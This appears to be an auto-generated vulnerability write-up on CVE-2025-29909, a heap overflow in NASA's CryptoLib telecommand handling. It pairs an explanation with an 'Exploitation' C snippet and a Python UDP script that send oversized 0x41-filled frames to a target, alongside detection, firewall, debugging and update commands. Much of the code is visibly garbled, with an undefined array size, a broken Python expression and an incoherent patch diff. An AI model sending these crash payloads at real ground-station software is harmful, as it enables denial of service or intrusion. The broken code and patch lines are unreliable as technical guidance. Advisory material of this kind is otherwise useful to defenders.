How CVE-2025-29909 Works
The vulnerability occurs in CryptoLib’s `Crypto_TC_ApplySecurity()` function when processing Telecommand (TC) frames. The function fails to properly validate the length of incoming TC frames before copying them into a fixed-size heap buffer. An attacker can craft a malicious TC frame with excessive payload length, triggering a heap buffer overflow during memory copy operations. This overwrites adjacent memory structures, potentially corrupting critical data or function pointers. When combined with precise heap manipulation, this could lead to arbitrary code execution in the context of the vulnerable application. The flaw specifically affects SDLS-EP protocol implementations where CryptoLib processes unauthenticated TC frames before security validation.
DailyCVE Form
Platform: CryptoLib
Version: <=1.3.3
Vulnerability: Heap overflow
Severity: Critical
Date: 2025-03-17
What Undercode Say:
Exploitation:
// Malicious TC frame structure
struct malicious_tc {
uint16_t length; // Set to oversized value
uint8_t payload[bash]; // Overflow data
};
// Craft exploit frame
void build_exploit() {
struct malicious_tc frame;
frame.length = htons(1024);
memset(frame.payload, 0x41, 1024); // Fill with attacker data
send_to_target(&frame);
}
Detection:
Check for vulnerable CryptoLib versions strings libcrypto.so | grep "CryptoLib v1.3.[0-3]"
Protection:
// Patch verification - if (tc_frame->length > MAX_TC_LEN) return ERROR; + if (tc_frame->length != expected_security_len) return ERROR;
Mitigation Commands:
Apply workaround for unpatched systems iptables -A INPUT -p udp --dport 1234 -m length ! --length 128:256 -j DROP
Debugging:
Crash analysis gdb -ex 'run' -ex 'bt full' --args cfs_app malformed.tc
Verification:
Test script
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(b'\x04\x00' + b'A'1024, ('groundstation', 1234))
Memory Analysis:
Check for heap corruption valgrind --tool=memcheck ./cfs_processor sample.tc
Update Procedure:
Patch application git clone https://github.com/nasa/CryptoLib cd CryptoLib && git checkout c7e8a8745ff4b5e9bd7e500e91358e86d5abedcc make && sudo make install
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
